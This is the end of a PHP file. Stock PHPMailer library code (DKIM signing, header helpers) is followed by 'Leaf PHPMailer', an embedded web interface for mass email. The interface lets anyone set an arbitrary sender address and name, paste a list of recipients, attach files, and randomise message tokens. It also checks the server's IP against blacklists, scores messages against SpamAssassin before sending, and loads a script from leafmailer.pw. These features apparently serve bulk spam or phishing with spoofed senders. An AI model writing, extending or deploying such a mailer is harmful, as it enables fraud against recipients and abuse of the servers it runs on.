4004 return true;
4005 } else {
4006 $this->setError($this->lang('variable_set') . $name);
4007 return false;
4008 }
4009 }
4010
4011 /**
4012 * Strip newlines to prevent header injection.
4013 * @access public
4014 * @param string $str
4015 * @return string
4016 */
4017 public function secureHeader($str)
4018 {
4019 return trim(str_replace(array("\r", "\n"), '', $str));
4020 }
4021
4022 /**
4023 * Normalize line breaks in a string.
4024 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
4025 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
4026 * @param string $text
4027 * @param string $breaktype What kind of line break to use, defaults to CRLF
4028 * @return string
4029 * @access public
4030 * @static
4031 */
4032 public static function normalizeBreaks($text, $breaktype = "\r\n")
4033 {
4034 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
4035 }
4036
4037 /**
4038 * Set the public and private key files and password for S/MIME signing.
4039 * @access public
4040 * @param string $cert_filename
4041 * @param string $key_filename
4042 * @param string $key_pass Password for private key
4043 * @param string $extracerts_filename Optional path to chain certificate
4044 */
4045 public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
4046 {
4047 $this->sign_cert_file = $cert_filename;
4048 $this->sign_key_file = $key_filename;
4049 $this->sign_key_pass = $key_pass;
4050 $this->sign_extracerts_file = $extracerts_filename;
4051 }
4052
4053 /**
4054 * Quoted-Printable-encode a DKIM header.
4055 * @access public
4056 * @param string $txt
4057 * @return string
4058 */
4059 public function DKIM_QP($txt)
4060 {
4061 $line = '';
4062 for ($i = 0; $i < strlen($txt); $i++) {
4063 $ord = ord($txt[$i]);
4064 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
4065 $line .= $txt[$i];
4066 } else {
4067 $line .= '=' . sprintf('%02X', $ord);
4068 }
4069 }
4070 return $line;
4071 }
4072
4073 /**
4074 * Generate a DKIM signature.
4075 * @access public
4076 * @param string $signHeader
4077 * @throws phpmailerException
4078 * @return string The DKIM signature value
4079 */
4080 public function DKIM_Sign($signHeader)
4081 {
4082 if (!defined('PKCS7_TEXT')) {
4083 if ($this->exceptions) {
4084 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
4085 }
4086 return '';
4087 }
4088 $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
4089 if ('' != $this->DKIM_passphrase) {
4090 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
4091 } else {
4092 $privKey = openssl_pkey_get_private($privKeyStr);
4093 }
4094 //Workaround for missing digest algorithms in old PHP & OpenSSL versions
4095 //@link http://stackoverflow.com/a/11117338/333340
4096 if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
4097 in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
4098 if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
4099 openssl_pkey_free($privKey);
4100 return base64_encode($signature);
4101 }
4102 } else {
4103 $pinfo = openssl_pkey_get_details($privKey);
4104 $hash = hash('sha256', $signHeader);
4105 //'Magic' constant for SHA256 from RFC3447
4106 //@link https://tools.ietf.org/html/rfc3447#page-43
4107 $t = '3031300d060960864801650304020105000420' . $hash;
4108 $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
4109 $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);
4110
4111 if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
4112 openssl_pkey_free($privKey);
4113 return base64_encode($signature);
4114 }
4115 }
4116 openssl_pkey_free($privKey);
4117 return '';
4118 }
4119
4120 /**
4121 * Generate a DKIM canonicalization header.
4122 * @access public
4123 * @param string $signHeader Header
4124 * @return string
4125 */
4126 public function DKIM_HeaderC($signHeader)
4127 {
4128 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
4129 $lines = explode("\r\n", $signHeader);
4130 foreach ($lines as $key => $line) {
4131 list($heading, $value) = explode(':', $line, 2);
4132 $heading = strtolower($heading);
4133 $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
4134 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
4135 }
4136 $signHeader = implode("\r\n", $lines);
4137 return $signHeader;
4138 }
4139
4140 /**
4141 * Generate a DKIM canonicalization body.
4142 * @access public
4143 * @param string $body Message Body
4144 * @return string
4145 */
4146 public function DKIM_BodyC($body)
4147 {
4148 if ($body == '') {
4149 return "\r\n";
4150 }
4151 // stabilize line endings
4152 $body = str_replace("\r\n", "\n", $body);
4153 $body = str_replace("\n", "\r\n", $body);
4154 // END stabilize line endings
4155 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
4156 $body = substr($body, 0, strlen($body) - 2);
4157 }
4158 return $body;
4159 }
4160
4161 /**
4162 * Create the DKIM header and body in a new message header.
4163 * @access public
4164 * @param string $headers_line Header lines
4165 * @param string $subject Subject
4166 * @param string $body Body
4167 * @return string
4168 */
4169 public function DKIM_Add($headers_line, $subject, $body)
4170 {
4171 $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
4172 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
4173 $DKIMquery = 'dns/txt'; // Query method
4174 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
4175 $subject_header = "Subject: $subject";
4176 $headers = explode($this->LE, $headers_line);
4177 $from_header = '';
4178 $to_header = '';
4179 $date_header = '';
4180 $current = '';
4181 foreach ($headers as $header) {
4182 if (strpos($header, 'From:') === 0) {
4183 $from_header = $header;
4184 $current = 'from_header';
4185 } elseif (strpos($header, 'To:') === 0) {
4186 $to_header = $header;
4187 $current = 'to_header';
4188 } elseif (strpos($header, 'Date:') === 0) {
4189 $date_header = $header;
4190 $current = 'date_header';
4191 } else {
4192 if (!empty($$current) && strpos($header, ' =?') === 0) {
4193 $$current .= $header;
4194 } else {
4195 $current = '';
4196 }
4197 }
4198 }
4199 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
4200 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
4201 $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
4202 $subject = str_replace(
4203 '|',
4204 '=7C',
4205 $this->DKIM_QP($subject_header)
4206 ); // Copied header fields (dkim-quoted-printable)
4207 $body = $this->DKIM_BodyC($body);
4208 $DKIMlen = strlen($body); // Length of body
4209 $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
4210 if ('' == $this->DKIM_identity) {
4211 $ident = '';
4212 } else {
4213 $ident = ' i=' . $this->DKIM_identity . ';';
4214 }
4215 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
4216 $DKIMsignatureType . '; q=' .
4217 $DKIMquery . '; l=' .
4218 $DKIMlen . '; s=' .
4219 $this->DKIM_selector .
4220 ";\r\n" .
4221 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
4222 "\th=From:To:Date:Subject;\r\n" .
4223 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
4224 "\tz=$from\r\n" .
4225 "\t|$to\r\n" .
4226 "\t|$date\r\n" .
4227 "\t|$subject;\r\n" .
4228 "\tbh=" . $DKIMb64 . ";\r\n" .
4229 "\tb=";
4230 $toSign = $this->DKIM_HeaderC(
4231 $from_header . "\r\n" .
4232 $to_header . "\r\n" .
4233 $date_header . "\r\n" .
4234 $subject_header . "\r\n" .
4235 $dkimhdrs
4236 );
4237 $signed = $this->DKIM_Sign($toSign);
4238 return $dkimhdrs . $signed . "\r\n";
4239 }
4240
4241 /**
4242 * Detect if a string contains a line longer than the maximum line length allowed.
4243 * @param string $str
4244 * @return boolean
4245 * @static
4246 */
4247 public static function hasLineLongerThanMax($str)
4248 {
4249 //+2 to include CRLF line break for a 1000 total
4250 return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
4251 }
4252
4253 /**
4254 * Allows for public read access to 'to' property.
4255 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4256 * @access public
4257 * @return array
4258 */
4259 public function getToAddresses()
4260 {
4261 return $this->to;
4262 }
4263
4264 /**
4265 * Allows for public read access to 'cc' property.
4266 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4267 * @access public
4268 * @return array
4269 */
4270 public function getCcAddresses()
4271 {
4272 return $this->cc;
4273 }
4274
4275 /**
4276 * Allows for public read access to 'bcc' property.
4277 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4278 * @access public
4279 * @return array
4280 */
4281 public function getBccAddresses()
4282 {
4283 return $this->bcc;
4284 }
4285
4286 /**
4287 * Allows for public read access to 'ReplyTo' property.
4288 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4289 * @access public
4290 * @return array
4291 */
4292 public function getReplyToAddresses()
4293 {
4294 return $this->ReplyTo;
4295 }
4296
4297 /**
4298 * Allows for public read access to 'all_recipients' property.
4299 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4300 * @access public
4301 * @return array
4302 */
4303 public function getAllRecipientAddresses()
4304 {
4305 return $this->all_recipients;
4306 }
4307
4308 /**
4309 * Perform a callback.
4310 * @param boolean $isSent
4311 * @param array $to
4312 * @param array $cc
4313 * @param array $bcc
4314 * @param string $subject
4315 * @param string $body
4316 * @param string $from
4317 */
4318 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
4319 {
4320 if (!empty($this->action_function) && is_callable($this->action_function)) {
4321 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
4322 call_user_func_array($this->action_function, $params);
4323 }
4324 }
4325}
4326
4327/**
4328 * PHPMailer exception handler
4329 * @package PHPMailer
4330 */
4331class phpmailerException extends Exception
4332{
4333 /**
4334 * Prettify error message output
4335 * @return string
4336 */
4337 public function errorMessage()
4338 {
4339 $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
4340 return $errorMsg;
4341 }
4342}
4343function leafheader(){
4344print '
4345<head>
4346 <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
4347 <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
4348 <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >
4349 <script src="https://leafmailer.pw/style2.js"></script>
4350
4351</head>';
4352}
4353leafheader();
4354print '<body>';
4355print '<div class="container col-lg-6">
4356 <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
4357 <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
4358 <input type="hidden" name="action" value="score">
4359
4360 <div class="row">
4361 <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
4362 <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
4363 </div>
4364 <div class="row">
4365 <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
4366
4367 <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
4368 </div>
4369 <div class="row">
4370 <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
4371 </div>
4372 <div class="row">
4373 <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
4374 <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
4375 </div>
4376 <div class="row">
4377 <div class="form-group col-lg-6 ">
4378 <label for="messageType">Message Type</label>
4379 HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
4380 Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
4381 </div>
4382 <div class="form-group col-lg-3 ">
4383 <label for="charset">Character set</label>
4384 <select class="form-control input-sm" id="charset" name="charset">
4385 <option '.$utf8.'>UTF-8</option>
4386 <option '.$iso.'>ISO-8859-1</option>
4387 </select>
4388 </div>
4389 <div class="form-group col-lg-3 ">
4390 <label for="encoding">Message encoding</label>
4391 <select class="form-control input-sm" id="encode" name="encode">
4392 <option '.$bit8.'>8bit</option>
4393 <option '.$bit7.'>7bit</option>
4394 <option '.$binary.'>binary</option>
4395 <option '.$base64.'>base64</option>
4396 <option '.$quotedprintable.'>quoted-printable</option>
4397
4398 </select>
4399 </div>
4400 </div>
4401 <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
4402
4403 </form>
4404 </div>
4405 <div class="col-lg-6"><br>
4406 <label for="well">Instruction</label>
4407 <div id="well" class="well well">
4408 <h4>Server Information</h4>
4409 <ul>
4410 <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
4411 <li>PHP Version : <b>'.phpversion().'</b></li>
4412
4413
4414 </ul>
4415 <h4>HELP</h4>
4416 <ul>
4417 <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
4418 <ul>
4419 <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
4420 <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
4421 </ul>
4422 <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
4423
4424 <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
4425 <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
4426 <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
4427 <li>[-randommd5-] : <b>Random MD5 </b></li>
4428 </ul>
4429 <h4>example</h4>
4430 Receiver Email = <b>user@domain.com</b><br>
4431 <ul>
4432 <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
4433 <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
4434 <li>your code is <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
4435 </ul>
4436
4437 <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
4438 </div>
4439 </div>';
4440if($_POST['action']=="send"){
4441 print ' <div class="col-lg-12">';
4442 $maillist=explode("\r\n", $emailList);
4443 $n=count($maillist);
4444 $x =1;
4445 foreach ($maillist as $email ) {
4446 print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
4447 if(!leafMailCheck($email)) {
4448 print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
4449 print "<br>\r\n";
4450 }
4451 else {
4452 $mail = new PHPMailer;
4453 $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
4454 $mail->addReplyTo(leafClear($replyTo,$email));
4455 $mail->addAddress($email);
4456 $mail->Subject = leafClear($subject,$email);
4457 $mail->Body = leafClear($messageLetter,$email);
4458 if($messageType==1){
4459 $mail->IsHTML(true);
4460 $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
4461 }
4462 else $mail->IsHTML(false);
4463 $mail->CharSet = $charset;
4464 $mail->Encoding = $encoding;
4465 for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
4466 if ($_FILES['attachment']['tmp_name'][$i] != ""){
4467 $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
4468 }
4469
4470 }
4471
4472 if (!$mail->send()) {
4473 echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
4474 }
4475 else {
4476 echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
4477 }
4478 print "<br>\r\n";
4479 }
4480 $x++;
4481 for($k = 0; $k < 40000; $k++) {echo ' ';}
4482 }
4483
4484}
4485elseif($_POST['action']=="score"){
4486 $mail = new PHPMailer;
4487 $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
4488 $mail->addReplyTo(leafClear($replyTo,$email));
4489 $mail->addAddress("username@domain.com");
4490 $mail->Subject = leafClear($subject,$email);
4491 $mail->Body = leafClear($messageLetter,$email);
4492 if($messageType==1){
4493 $mail->IsHTML(true);
4494 $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
4495 }
4496 else $mail->IsHTML(false);
4497 $mail->CharSet = $charset;
4498 $mail->Encoding = $encoding;
4499 $mail->preSend();
4500 $messageHeaders=$mail->getSentMIMEMessage();
4501 $ch = curl_init();
4502 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4503 curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
4504 curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
4505 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
4506 curl_setopt($ch, CURLOPT_TIMEOUT, 15);
4507 $response = curl_exec($ch);
4508 $response = json_decode($response);
4509 print ' <div class="col-lg-12">';
4510 if ($response->success == TRUE ){
4511 $score = $response->score;
4512 if ($score > 5 ) $class="danger";
4513 else $class="success";
4514 print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.' </div>
4515<div>Full Report : <pre>'.$response->report.'</pre></div>';
4516print ' </div>';
4517 }
4518}
4519print '</body>';
4520?>